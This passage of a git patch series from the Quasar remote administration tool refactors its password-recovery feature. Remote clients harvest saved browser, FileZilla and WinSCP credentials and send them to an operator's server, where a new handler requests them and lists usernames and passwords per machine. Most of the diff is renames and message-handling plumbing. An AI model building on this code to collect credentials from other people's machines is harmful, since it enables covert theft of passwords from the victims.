b/Client/Core/Recovery/Browsers/Chrome.cs @@ -1,9 +1,8 @@ -using System; +using Quasar.Common.Models; +using System; using System.Collections.Generic; using System.IO; -using xClient.Core.Data; using xClient.Core.Recovery.Utilities; -using xClient.Core.Utilities; namespace xClient.Core.Recovery.Browsers { diff --git a/Client/Core/Recovery/Browsers/Firefox.cs b/Client/Core/Recovery/Browsers/Firefox.cs index ef5fa149b..3df764cce 100644 --- a/Client/Core/Recovery/Browsers/Firefox.cs +++ b/Client/Core/Recovery/Browsers/Firefox.cs @@ -1,16 +1,16 @@ -using System; +using Microsoft.Win32; +using Quasar.Common.Models; +using System; using System.Collections.Generic; using System.ComponentModel; +using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; using System.Text; -using Microsoft.Win32; -using xClient.Core.Data; -using xClient.Core.Recovery.Utilities; -using xClient.Core.Utilities; -using System.Diagnostics; using xClient.Core.Extensions; using xClient.Core.Helper; +using xClient.Core.Recovery.Utilities; +using xClient.Core.Utilities; namespace xClient.Core.Recovery.Browsers { @@ -80,7 +80,7 @@ public static List GetSavedPasswords() string password = Decrypt(data.encryptedPassword); Uri host = new Uri(data.formSubmitURL); - firefoxPasswords.Add(new RecoveredAccount() { URL = host.AbsoluteUri, Username = username, Password = password, Application = "Firefox" }); + firefoxPasswords.Add(new RecoveredAccount { Url = host.AbsoluteUri, Username = username, Password = password, Application = "Firefox" }); } } catch (Exception) diff --git a/Client/Core/Recovery/Browsers/InternetExplorer.cs b/Client/Core/Recovery/Browsers/InternetExplorer.cs index 07f2cec2b..aae6ef6a3 100644 --- a/Client/Core/Recovery/Browsers/InternetExplorer.cs +++ b/Client/Core/Recovery/Browsers/InternetExplorer.cs @@ -1,4 +1,6 @@ -using System; +using Microsoft.Win32; +using Quasar.Common.Models; +using System; using System.Collections; using System.Collections.Generic; using System.ComponentModel; @@ -7,8 +9,6 @@ using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; -using Microsoft.Win32; -using xClient.Core.Data; using xClient.Core.Helper; namespace xClient.Core.Recovery.Browsers @@ -34,7 +34,7 @@ public static List GetSavedPasswords() { foreach (string[] loginInfo in dataList) { - data.Add(new RecoveredAccount() { Username = loginInfo[0], Password = loginInfo[1], URL = item.UrlString, Application = "InternetExplorer" }); + data.Add(new RecoveredAccount() { Username = loginInfo[0], Password = loginInfo[1], Url = item.UrlString, Application = "InternetExplorer" }); } } } diff --git a/Client/Core/Recovery/Browsers/Opera.cs b/Client/Core/Recovery/Browsers/Opera.cs index 1328db485..ed82fc217 100644 --- a/Client/Core/Recovery/Browsers/Opera.cs +++ b/Client/Core/Recovery/Browsers/Opera.cs @@ -1,9 +1,8 @@ -using System; +using Quasar.Common.Models; +using System; using System.Collections.Generic; using System.IO; -using xClient.Core.Data; using xClient.Core.Recovery.Utilities; -using xClient.Core.Utilities; namespace xClient.Core.Recovery.Browsers { diff --git a/Client/Core/Recovery/Browsers/Yandex.cs b/Client/Core/Recovery/Browsers/Yandex.cs index 10833577a..a51166622 100644 --- a/Client/Core/Recovery/Browsers/Yandex.cs +++ b/Client/Core/Recovery/Browsers/Yandex.cs @@ -1,9 +1,8 @@ -using System; +using Quasar.Common.Models; +using System; using System.Collections.Generic; using System.IO; -using xClient.Core.Data; using xClient.Core.Recovery.Utilities; -using xClient.Core.Utilities; namespace xClient.Core.Recovery.Browsers { diff --git a/Client/Core/Recovery/FtpClients/FileZilla.cs b/Client/Core/Recovery/FtpClients/FileZilla.cs index 53ba678ee..e704bfad1 100644 --- a/Client/Core/Recovery/FtpClients/FileZilla.cs +++ b/Client/Core/Recovery/FtpClients/FileZilla.cs @@ -1,9 +1,9 @@ -using System; +using Quasar.Common.Models; +using System; using System.Collections.Generic; using System.IO; using System.Text; using System.Xml; -using xClient.Core.Data; namespace xClient.Core.Recovery.FtpClients { @@ -45,7 +45,7 @@ public static List GetSavedPasswords() data.Add(new RecoveredAccount { - URL = szHost, + Url = szHost, Username = szUsername, Password = szPassword, Application = "FileZilla" @@ -78,7 +78,7 @@ public static List GetSavedPasswords() data.Add(new RecoveredAccount { - URL = szHost, + Url = szHost, Username = szUsername, Password = szPassword, Application = "FileZilla" diff --git a/Client/Core/Recovery/FtpClients/WinSCP.cs b/Client/Core/Recovery/FtpClients/WinSCP.cs index 635cb94df..701910575 100644 --- a/Client/Core/Recovery/FtpClients/WinSCP.cs +++ b/Client/Core/Recovery/FtpClients/WinSCP.cs @@ -1,8 +1,8 @@ using Microsoft.Win32; +using Quasar.Common.Models; using System; using System.Collections.Generic; using System.Linq; -using xClient.Core.Data; using xClient.Core.Extensions; using xClient.Core.Helper; @@ -37,7 +37,7 @@ public static List GetSavedPasswords() data.Add(new RecoveredAccount { - URL = host, + Url = host, Username = user, Password = password, Application = "WinSCP" diff --git a/Client/Core/Recovery/Utilities/Chromium.cs b/Client/Core/Recovery/Utilities/Chromium.cs index e83a81fe6..73a5af050 100644 --- a/Client/Core/Recovery/Utilities/Chromium.cs +++ b/Client/Core/Recovery/Utilities/Chromium.cs @@ -1,10 +1,9 @@ -using System; +using Quasar.Common.Models; +using System; using System.Collections.Generic; using System.IO; using System.Security.Cryptography; using System.Text; -using xClient.Core.Data; -using xClient.Core.Utilities; namespace xClient.Core.Recovery.Utilities { @@ -47,7 +46,7 @@ public static List Passwords(string datapath, string browser) { data.Add(new RecoveredAccount { - URL = host, + Url = host, Username = user, Password = pass, Application = browser diff --git a/Quasar.Common/Messages/GetPasswordsResponse.cs b/Quasar.Common/Messages/GetPasswordsResponse.cs index c331f29c9..bbf3e2940 100644 --- a/Quasar.Common/Messages/GetPasswordsResponse.cs +++ b/Quasar.Common/Messages/GetPasswordsResponse.cs @@ -1,5 +1,6 @@ -using System.Collections.Generic; -using ProtoBuf; +using ProtoBuf; +using Quasar.Common.Models; +using System.Collections.Generic; namespace Quasar.Common.Messages { @@ -7,6 +8,6 @@ namespace Quasar.Common.Messages public class GetPasswordsResponse : IMessage { [ProtoMember(1)] - public List Passwords { get; set; } + public List RecoveredAccounts { get; set; } } } diff --git a/Server/Core/Data/RecoveredAccount.cs b/Quasar.Common/Models/RecoveredAccount.cs similarity index 56% rename from Server/Core/Data/RecoveredAccount.cs rename to Quasar.Common/Models/RecoveredAccount.cs index 09944dacd..301735475 100644 --- a/Server/Core/Data/RecoveredAccount.cs +++ b/Quasar.Common/Models/RecoveredAccount.cs @@ -1,10 +1,20 @@ -namespace xServer.Core.Data +using ProtoBuf; + +namespace Quasar.Common.Models { + [ProtoContract] public class RecoveredAccount { + [ProtoMember(1)] public string Username { get; set; } + + [ProtoMember(2)] public string Password { get; set; } + + [ProtoMember(3)] public string Url { get; set; } + + [ProtoMember(4)] public string Application { get; set; } } } diff --git a/Quasar.Common/Quasar.Common.csproj b/Quasar.Common/Quasar.Common.csproj index fc9131251..d9e342801 100644 --- a/Quasar.Common/Quasar.Common.csproj +++ b/Quasar.Common/Quasar.Common.csproj @@ -59,6 +59,7 @@ + diff --git a/Server/Core/Commands/CommandHandler.cs b/Server/Core/Commands/CommandHandler.cs index a2792b95a..9381fd358 100644 --- a/Server/Core/Commands/CommandHandler.cs +++ b/Server/Core/Commands/CommandHandler.cs @@ -3,6 +3,5 @@ /* THIS PARTIAL CLASS SHOULD CONTAIN VARIABLES NECESSARY FOR VARIOUS COMMANDS (if needed). */ public static partial class CommandHandler { - private const string DELIMITER = "$E$"; } } \ No newline at end of file diff --git a/Server/Core/Commands/PasswordRecoveryHandler.cs b/Server/Core/Commands/PasswordRecoveryHandler.cs new file mode 100644 index 000000000..b2b8fcc47 --- /dev/null +++ b/Server/Core/Commands/PasswordRecoveryHandler.cs @@ -0,0 +1,97 @@ +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using System.Collections.Generic; +using System.Linq; +using xServer.Core.Networking; + +namespace xServer.Core.Commands +{ + public class PasswordRecoveryHandler : MessageProcessorBase + { + /// + /// The clients which is associated with this password recovery handler. + /// + private readonly Client[] _clients; + + /// + /// Represents the method that will handle recovered accounts. + /// + /// The message processor which raised the event. + /// A unique client identifier. + /// The recovered accounts + public delegate void AccountsRecoveredEventHandler(object sender, string clientIdentifier, List accounts); + + /// + /// Raised when accounts got recovered. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event AccountsRecoveredEventHandler AccountsRecovered; + + /// + /// Reports recovered accounts from a client. + /// + /// The recovered accounts. + /// A unique client identifier. + private void OnAccountsRecovered(List accounts, string clientIdentifier) + { + SynchronizationContext.Post(d => + { + var handler = AccountsRecovered; + handler?.Invoke(this, clientIdentifier, (List)d); + }, accounts); + } + + /// + /// Initializes a new instance of the class using the given clients. + /// + /// The associated clients. + public PasswordRecoveryHandler(Client[] clients) : base(true) + { + _clients = clients; + } + + /// + public override bool CanExecute(IMessage message) => message is GetPasswordsResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _clients.Any(c => c.Equals(sender)); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetPasswordsResponse pass: + Execute(sender, pass); + break; + } + } + + /// + /// Starts the account recovery with the associated clients. + /// + public void BeginAccountRecovery() + { + var req = new GetPasswords(); + foreach (var client in _clients.Where(client => client != null)) + client.Send(req); + } + + private void Execute(ISender client, GetPasswordsResponse message) + { + Client c = (Client) client; + + string userAtPc = $"{c.Value.Username}@{c.Value.PCName}"; + + OnAccountsRecovered(message.RecoveredAccounts, userAtPc); + } + + protected override void Dispose(bool disposing) + { + } + } +} diff --git a/Server/Core/Commands/SurveillanceHandler.cs b/Server/Core/Commands/SurveillanceHandler.cs deleted file mode 100644 index 93c45c994..000000000 --- a/Server/Core/Commands/SurveillanceHandler.cs +++ /dev/null @@ -1,39 +0,0 @@ -using Quasar.Common.Messages; -using System; -using System.Linq; -using xServer.Core.Data; -using xServer.Core.Networking; - -namespace xServer.Core.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE SURVEILLANCE COMMANDS. */ - public static partial class CommandHandler - { - public static void HandleGetPasswordsResponse(Client client, GetPasswordsResponse packet) - { - if (client.Value == null || client.Value.FrmPass == null) - return; - - if (packet.Passwords == null) - return; - - string userAtPc = string.Format("{0}@{1}", client.Value.Username, client.Value.PCName); - - var lst = - packet.Passwords.Select(str => str.Split(new[] { DELIMITER }, StringSplitOptions.None)) - .Select( - values => - new RecoveredAccount - { - Username = values[0], - Password = values[1], - Url = values[2], - Application = values[3] - }) - .ToList(); - - if (client.Value != null && client.Value.FrmPass != null) - client.Value.FrmPass.AddPasswords(lst.ToArray(), userAtPc); - } - } -} diff --git a/Server/Core/Networking/Client.cs b/Server/Core/Networking/Client.cs index 7eb051f00..a91f36fd7 100644 --- a/Server/Core/Networking/Client.cs +++ b/Server/Core/Networking/Client.cs @@ -685,7 +685,6 @@ public void Disconnect() if (Value != null) { - Value.Dispose(); Value = null; } diff --git a/Server/Core/Networking/PacketHandler.cs b/Server/Core/Networking/PacketHandler.cs index c0858d5df..3f5e99876 100644 --- a/Server/Core/Networking/PacketHandler.cs +++ b/Server/Core/Networking/PacketHandler.cs @@ -20,10 +20,6 @@ public static void HandlePacket(Client client, IMessage packet) { CommandHandler.HandleSetUserStatus(client, (SetUserStatus)packet); } - else if (type == typeof(GetPasswordsResponse)) - { - CommandHandler.HandleGetPasswordsResponse(client, (GetPasswordsResponse)packet); - } } } } diff --git a/Server/Core/Networking/UserState.cs b/Server/Core/Networking/UserState.cs index 5d230f3f4..1404fd847 100644 --- a/Server/Core/Networking/UserState.cs +++ b/Server/Core/Networking/UserState.cs @@ -1,10 +1,6 @@ -using System; -using System.Windows.Forms; -using xServer.Forms; - -namespace xServer.Core.Networking +namespace xServer.Core.Networking { - public class UserState : IDisposable + public class UserState { public string Version { get; set; } public string OperatingSystem { get; set; } @@ -21,27 +17,5 @@ public class UserState : IDisposable public string CountryWithCode { get { return string.Format("{0} [{1}]", Country, CountryCode); } } public string Tag { get; set; } public string DownloadDirectory { get; set; } - - public FrmPasswordRecovery FrmPass { get; set; } - - public void Dispose() - { - Dispose(true); - } - - protected virtual void Dispose(bool disposing) - { - if (disposing) - { - try - { - if (FrmPass != null) - FrmPass.Invoke((MethodInvoker)delegate { FrmPass.Close(); }); - } - catch (InvalidOperationException) - { - } - } - } } -} \ No newline at end of file +} diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 06aeaf55c..7196fc86d 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -598,8 +598,8 @@ private void reverseProxyToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - FrmReverseProxy frmRS = new FrmReverseProxy(GetSelectedClients()); - frmRS.Show(); + FrmReverseProxy frmRs = new FrmReverseProxy(GetSelectedClients()); + frmRs.Show(); } } @@ -666,12 +666,6 @@ private void passwordRecoveryToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - if (c.Value.FrmPass != null) - { - c.Value.FrmPass.Focus(); - return; - } - FrmPasswordRecovery frmPass = new FrmPasswordRecovery(GetSelectedClients()); frmPass.Show(); } diff --git a/Server/Forms/FrmPasswordRecovery.cs b/Server/Forms/FrmPasswordRecovery.cs index 06298ea99..48ba1fce5 100644 --- a/Server/Forms/FrmPasswordRecovery.cs +++ b/Server/Forms/FrmPasswordRecovery.cs @@ -1,10 +1,12 @@ -using System; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Windows.Forms; -using Quasar.Common.Messages; +using xServer.Core.Commands; using xServer.Core.Data; using xServer.Core.Helper; using xServer.Core.Networking; @@ -13,93 +15,126 @@ namespace xServer.Forms { public partial class FrmPasswordRecovery : Form { + /// + /// The clients which can be used for the password recovery. + /// private readonly Client[] _clients; - private readonly object _addingLock = new object(); - private readonly RecoveredAccount _noResultsFound; - public FrmPasswordRecovery(Client[] connectedClients) + /// + /// The message handler for handling the communication with the clients. + /// + private readonly PasswordRecoveryHandler _recoveryHandler; + + /// + /// Represents a value to display in the ListView when no results were found. + /// + private readonly RecoveredAccount _noResultsFound = new RecoveredAccount() { - _clients = connectedClients; - foreach (Client client in _clients) - { - if (client == null || client.Value == null) continue; - client.Value.FrmPass = this; - } + Application = "No Results Found", + Url = "N/A", + Username = "N/A", + Password = "N/A" + }; + + /// + /// Initializes a new instance of the class using the given clients. + /// + /// The clients used for the password recovery form. + public FrmPasswordRecovery(Client[] clients) + { + _clients = clients; + _recoveryHandler = new PasswordRecoveryHandler(clients); + RegisterMessageHandler(); InitializeComponent(); - Text = WindowHelper.GetWindowTitle("Password Recovery", _clients.Length); + } - txtFormat.Text = Settings.SaveFormat; + /// + /// Registers the password recovery message handler for client communication. + /// + private void RegisterMessageHandler() + { + //_connectClient.ClientState += ClientDisconnected; + _recoveryHandler.AccountsRecovered += AddPasswords; + MessageHandler.Register(_recoveryHandler); + } - _noResultsFound = new RecoveredAccount() + /// + /// Unregisters the password recovery message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_recoveryHandler); + _recoveryHandler.AccountsRecovered -= AddPasswords; + //_connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + /// TODO: Handle disconnected clients + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) { - Application = "No Results Found", - Url = "N/A", - Username = "N/A", - Password = "N/A" - }; + this.Invoke((MethodInvoker)this.Close); + } } private void FrmPasswordRecovery_Load(object sender, EventArgs e) { + this.Text = WindowHelper.GetWindowTitle("Password Recovery", _clients.Length); + txtFormat.Text = Settings.SaveFormat; RecoverPasswords(); } private void FrmPasswordRecovery_FormClosing(object sender, FormClosingEventArgs e) { Settings.SaveFormat = txtFormat.Text; - foreach (Client client in _clients) - { - if (client == null || client.Value == null) continue; - client.Value.FrmPass = null; - } + UnregisterMessageHandler(); + _recoveryHandler.Dispose(); } - #region Public Members - public void RecoverPasswords() + private void RecoverPasswords() { clearAllToolStripMenuItem_Click(null, null); - - var req = new GetPasswords(); - foreach (var client in _clients.Where(client => client != null)) - client.Send(req); + _recoveryHandler.BeginAccountRecovery(); } - public void AddPasswords(RecoveredAccount[] accounts, string identification) + private void AddPasswords(object sender, string clientIdentifier, List accounts) { try { - lock (_addingLock) - { - var items = new List(); - - foreach (var acc in accounts) - { - var lvi = new ListViewItem { Tag = acc, Text = identification }; + var items = new List(); - lvi.SubItems.Add(acc.Url); // URL - lvi.SubItems.Add(acc.Username); // User - lvi.SubItems.Add(acc.Password); // Pass + foreach (var acc in accounts) + { + var lvi = new ListViewItem {Tag = acc, Text = clientIdentifier}; - var lvg = GetGroupFromApplication(acc.Application); + lvi.SubItems.Add(acc.Url); // URL + lvi.SubItems.Add(acc.Username); // User + lvi.SubItems.Add(acc.Password); // Pass - if (lvg == null) //Create new group - { - lvg = new ListViewGroup { Name = acc.Application.Replace(" ", string.Empty), Header = acc.Application }; - Invoke(new MethodInvoker(() => lstPasswords.Groups.Add(lvg))); //Add the new group - } + var lvg = GetGroupFromApplication(acc.Application); - lvi.Group = lvg; - items.Add(lvi); + if (lvg == null) // create new group + { + lvg = new ListViewGroup { Name = acc.Application.Replace(" ", string.Empty), Header = acc.Application }; + lstPasswords.Groups.Add(lvg); // add the new group } - Invoke(new MethodInvoker(() => { lstPasswords.Items.AddRange(items.ToArray()); })); - UpdateRecoveryCount(); + lvi.Group = lvg; + items.Add(lvi); } - if (accounts.Length == 0) //No accounts found + lstPasswords.Items.AddRange(items.ToArray()); + UpdateRecoveryCount(); + + if (accounts.Count == 0) // no accounts found { - var lvi = new ListViewItem { Tag = _noResultsFound, Text = identification }; + var lvi = new ListViewItem {Tag = _noResultsFound, Text = clientIdentifier}; lvi.SubItems.Add(_noResultsFound.Url); // URL lvi.SubItems.Add(_noResultsFound.Username); // User @@ -107,26 +142,25 @@ public void AddPasswords(RecoveredAccount[] accounts, string identification) var lvg = GetGroupFromApplication(_noResultsFound.Application); - if (lvg == null) //Create new group + if (lvg == null) // create new group { - lvg = new ListViewGroup { Name = _noResultsFound.Application, Header = _noResultsFound.Application }; - Invoke(new MethodInvoker(() => lstPasswords.Groups.Add(lvg))); //Add the new group + lvg = new ListViewGroup + {Name = _noResultsFound.Application, Header = _noResultsFound.Application}; + lstPasswords.Groups.Add(lvg); // add the new group } lvi.Group = lvg; - Invoke(new MethodInvoker(() => { lstPasswords.Items.Add(lvi); })); + lstPasswords.Items.Add(lvi); } } catch { } } - #endregion - #region Private Members private void UpdateRecoveryCount() { - Invoke(new MethodInvoker(() => groupBox1.Text = string.Format("Recovered Accounts [ {0} ]", lstPasswords.Items.Count))); + groupBox1.Text = $"Recovered Accounts [ {lstPasswords.Items.Count} ]"; } private string ConvertToFormat(string format, RecoveredAccount login) @@ -160,19 +194,15 @@ private StringBuilder GetLoginData(bool selected = false) return sb; } - #endregion #region Group Methods private ListViewGroup GetGroupFromApplication(string app) { ListViewGroup lvg = null; - Invoke(new MethodInvoker(delegate + foreach (var @group in lstPasswords.Groups.Cast().Where(@group => @group.Header == app)) { - foreach (var @group in lstPasswords.Groups.Cast().Where(@group => @group.Header == app)) - { - lvg = @group; - } - })); + lvg = @group; + } return lvg; } @@ -234,13 +264,10 @@ private void refreshToolStripMenuItem_Click(object sender, EventArgs e) private void clearAllToolStripMenuItem_Click(object sender, EventArgs e) { - lock (_addingLock) - { - lstPasswords.Items.Clear(); - lstPasswords.Groups.Clear(); + lstPasswords.Items.Clear(); + lstPasswords.Groups.Clear(); - UpdateRecoveryCount(); - } + UpdateRecoveryCount(); } private void clearSelectedToolStripMenuItem_Click(object sender, EventArgs e) diff --git a/Server/Forms/FrmRegistryEditor.cs b/Server/Forms/FrmRegistryEditor.cs index 556bddaaa..bb8518cb6 100644 --- a/Server/Forms/FrmRegistryEditor.cs +++ b/Server/Forms/FrmRegistryEditor.cs @@ -66,7 +66,7 @@ public FrmRegistryEditor(Client client) } /// - /// Registers the file manager message handler for client communication. + /// Registers the registry editor handler for client communication. /// private void RegisterMessageHandler() { @@ -84,7 +84,7 @@ private void RegisterMessageHandler() } /// - /// Unregisters the file manager message handler. + /// Unregisters the registry editor message handler. /// private void UnregisterMessageHandler() { diff --git a/Server/Forms/FrmReverseProxy.cs b/Server/Forms/FrmReverseProxy.cs index 1af95c064..4cbabf4ea 100644 --- a/Server/Forms/FrmReverseProxy.cs +++ b/Server/Forms/FrmReverseProxy.cs @@ -42,7 +42,7 @@ public FrmReverseProxy(Client[] clients) } /// - /// Registers the connections manager message handler for client communication. + /// Registers the reverse proxy message handler for client communication. /// private void RegisterMessageHandler() { @@ -52,7 +52,7 @@ private void RegisterMessageHandler() } /// - /// Unregisters the connections manager message handler. + /// Unregisters the reverse proxy message handler. /// private void UnregisterMessageHandler() { diff --git a/Server/Server.csproj b/Server/Server.csproj index 84749fde3..92285b85e 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -114,12 +114,12 @@ + - @@ -152,7 +152,6 @@ - From c1d457063d6f9f441a06fc3168a159cf2f768ad2 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 22 Sep 2018 15:54:11 +0200 Subject: [PATCH 132/229] Refactor client status messages --- Server/Core/Commands/ClientStatusHandler.cs | 113 ++++++++++++++++++ Server/Core/Commands/CommandHandler.cs | 7 -- Server/Core/Commands/ConnectionHandler.cs | 56 --------- .../Core/Commands/PasswordRecoveryHandler.cs | 2 +- Server/Core/Helper/WindowHelper.cs | 2 +- Server/Core/Networking/PacketHandler.cs | 25 ---- Server/Core/Networking/QuasarServer.cs | 57 ++++++--- Server/Core/Networking/UserState.cs | 19 ++- Server/Forms/FrmMain.cs | 78 ++++++------ Server/Server.csproj | 4 +- 10 files changed, 210 insertions(+), 153 deletions(-) create mode 100644 Server/Core/Commands/ClientStatusHandler.cs delete mode 100644 Server/Core/Commands/CommandHandler.cs delete mode 100644 Server/Core/Commands/ConnectionHandler.cs delete mode 100644 Server/Core/Networking/PacketHandler.cs diff --git a/Server/Core/Commands/ClientStatusHandler.cs b/Server/Core/Commands/ClientStatusHandler.cs new file mode 100644 index 000000000..e3c65d56a --- /dev/null +++ b/Server/Core/Commands/ClientStatusHandler.cs @@ -0,0 +1,113 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using xServer.Core.Networking; + +namespace xServer.Core.Commands +{ + public class ClientStatusHandler : MessageProcessorBase + { + /// + /// Represents the method that will handle status updates. + /// + /// The message handler which raised the event. + /// The client which updated the status. + /// The new status. + public delegate void StatusUpdatedEventHandler(object sender, Client client, string statusMessage); + + /// + /// Represents the method that will handle user status updates. + /// + /// The message handler which raised the event. + /// The client which updated the user status. + /// The new user status. + public delegate void UserStatusUpdatedEventHandler(object sender, Client client, UserStatus userStatusMessage); + + /// + /// Raised when a client updated its status. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event StatusUpdatedEventHandler StatusUpdated; + + /// + /// Raised when a client updated its user status. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event UserStatusUpdatedEventHandler UserStatusUpdated; + + /// + /// Reports an updated status. + /// + /// The client which updated the status. + /// The new status. + private void OnStatusUpdated(Client client, string statusMessage) + { + SynchronizationContext.Post(c => + { + var handler = StatusUpdated; + handler?.Invoke(this, (Client) c, statusMessage); + }, client); + } + + /// + /// Reports an updated user status. + /// + /// The client which updated the user status. + /// The new user status. + private void OnUserStatusUpdated(Client client, UserStatus userStatusMessage) + { + SynchronizationContext.Post(c => + { + var handler = UserStatusUpdated; + handler?.Invoke(this, (Client) c, userStatusMessage); + }, client); + } + + /// + /// Initializes a new instance of the class. + /// + public ClientStatusHandler() : base(true) + { + } + + /// + public override bool CanExecute(IMessage message) => message is SetStatus || message is SetUserStatus; + + /// + public override bool CanExecuteFrom(ISender sender) => true; + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case SetStatus status: + Execute((Client) sender, status); + break; + case SetUserStatus userStatus: + Execute((Client) sender, userStatus); + break; + } + } + + private void Execute(Client client, SetStatus message) + { + OnStatusUpdated(client, message.Message); + } + + private void Execute(Client client, SetUserStatus message) + { + OnUserStatusUpdated(client, message.Message); + } + + protected override void Dispose(bool disposing) + { + } + } +} diff --git a/Server/Core/Commands/CommandHandler.cs b/Server/Core/Commands/CommandHandler.cs deleted file mode 100644 index 9381fd358..000000000 --- a/Server/Core/Commands/CommandHandler.cs +++ /dev/null @@ -1,7 +0,0 @@ -namespace xServer.Core.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN VARIABLES NECESSARY FOR VARIOUS COMMANDS (if needed). */ - public static partial class CommandHandler - { - } -} \ No newline at end of file diff --git a/Server/Core/Commands/ConnectionHandler.cs b/Server/Core/Commands/ConnectionHandler.cs deleted file mode 100644 index 02cbf5f29..000000000 --- a/Server/Core/Commands/ConnectionHandler.cs +++ /dev/null @@ -1,56 +0,0 @@ -using System.IO; -using System.Windows.Forms; -using Quasar.Common.Messages; -using xServer.Core.Helper; -using xServer.Core.Networking; -using xServer.Forms; - -namespace xServer.Core.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE CONNECTION COMMANDS. */ - public static partial class CommandHandler - { - public static void HandleGetAuthenticationResponse(Client client, GetAuthenticationResponse packet) - { - if (client.EndPoint.Address.ToString() == "255.255.255.255" || packet.Id.Length != 64) - return; - - try - { - client.Value.Version = packet.Version; - client.Value.OperatingSystem = packet.OperatingSystem; - client.Value.AccountType = packet.AccountType; - client.Value.Country = packet.Country; - client.Value.CountryCode = packet.CountryCode; - client.Value.Region = packet.Region; - client.Value.City = packet.City; - client.Value.Id = packet.Id; - client.Value.Username = packet.Username; - client.Value.PCName = packet.PcName; - client.Value.Tag = packet.Tag; - client.Value.ImageIndex = packet.ImageIndex; - - client.Value.DownloadDirectory = (!FileHelper.CheckPathForIllegalChars(client.Value.UserAtPc)) ? - Path.Combine(Application.StartupPath, string.Format("Clients\\{0}_{1}\\", client.Value.UserAtPc, client.Value.Id.Substring(0, 7))) : - Path.Combine(Application.StartupPath, string.Format("Clients\\{0}_{1}\\", client.EndPoint.Address, client.Value.Id.Substring(0, 7))); - - // TODO: Refactor tooltip - //if (Settings.ShowToolTip) - // client.Send(new GetSystemInfo()); - } - catch - { - } - } - - public static void HandleSetStatus(Client client, SetStatus packet) - { - FrmMain.Instance.SetStatusByClient(client, packet.Message); - } - - public static void HandleSetUserStatus(Client client, SetUserStatus packet) - { - FrmMain.Instance.SetUserStatusByClient(client, packet.Message); - } - } -} \ No newline at end of file diff --git a/Server/Core/Commands/PasswordRecoveryHandler.cs b/Server/Core/Commands/PasswordRecoveryHandler.cs index b2b8fcc47..50c08e128 100644 --- a/Server/Core/Commands/PasswordRecoveryHandler.cs +++ b/Server/Core/Commands/PasswordRecoveryHandler.cs @@ -85,7 +85,7 @@ private void Execute(ISender client, GetPasswordsResponse message) { Client c = (Client) client; - string userAtPc = $"{c.Value.Username}@{c.Value.PCName}"; + string userAtPc = $"{c.Value.Username}@{c.Value.PcName}"; OnAccountsRecovered(message.RecoveredAccounts, userAtPc); } diff --git a/Server/Core/Helper/WindowHelper.cs b/Server/Core/Helper/WindowHelper.cs index b93871f47..a633cef90 100644 --- a/Server/Core/Helper/WindowHelper.cs +++ b/Server/Core/Helper/WindowHelper.cs @@ -6,7 +6,7 @@ public static class WindowHelper { public static string GetWindowTitle(string title, Client c) { - return string.Format("{0} - {1}@{2} [{3}:{4}]", title, c.Value.Username, c.Value.PCName, c.EndPoint.Address.ToString(), c.EndPoint.Port.ToString()); + return string.Format("{0} - {1}@{2} [{3}:{4}]", title, c.Value.Username, c.Value.PcName, c.EndPoint.Address.ToString(), c.EndPoint.Port.ToString()); } public static string GetWindowTitle(string title, int count) diff --git a/Server/Core/Networking/PacketHandler.cs b/Server/Core/Networking/PacketHandler.cs deleted file mode 100644 index 3f5e99876..000000000 --- a/Server/Core/Networking/PacketHandler.cs +++ /dev/null @@ -1,25 +0,0 @@ -using Quasar.Common.Messages; -using xServer.Core.Commands; - -namespace xServer.Core.Networking -{ - public static class PacketHandler - { - public static void HandlePacket(Client client, IMessage packet) - { - if (client == null || client.Value == null) - return; - - var type = packet.GetType(); - - if (type == typeof(SetStatus)) - { - CommandHandler.HandleSetStatus(client, (SetStatus)packet); - } - else if (type == typeof(SetUserStatus)) - { - CommandHandler.HandleSetUserStatus(client, (SetUserStatus)packet); - } - } - } -} diff --git a/Server/Core/Networking/QuasarServer.cs b/Server/Core/Networking/QuasarServer.cs index 5d8fdcc5c..d07685e8c 100644 --- a/Server/Core/Networking/QuasarServer.cs +++ b/Server/Core/Networking/QuasarServer.cs @@ -1,6 +1,5 @@ -using System.Linq; -using Quasar.Common.Messages; -using xServer.Core.Commands; +using Quasar.Common.Messages; +using System.Linq; namespace xServer.Core.Networking { @@ -33,10 +32,7 @@ private void OnClientConnected(Client client) { if (ProcessingDisconnect || !Listening) return; var handler = ClientConnected; - if (handler != null) - { - handler(client); - } + handler?.Invoke(client); } /// @@ -58,10 +54,7 @@ private void OnClientDisconnected(Client client) { if (ProcessingDisconnect || !Listening) return; var handler = ClientDisconnected; - if (handler != null) - { - handler(client); - } + handler?.Invoke(client); } /// @@ -109,11 +102,17 @@ private void OnClientRead(Server server, Client client, IMessage message) { if (type == typeof (GetAuthenticationResponse)) { - client.Authenticated = true; - client.Send(new SetAuthenticationSuccess()); // finish handshake - CommandHandler.HandleGetAuthenticationResponse(client, - (GetAuthenticationResponse)message); - OnClientConnected(client); + 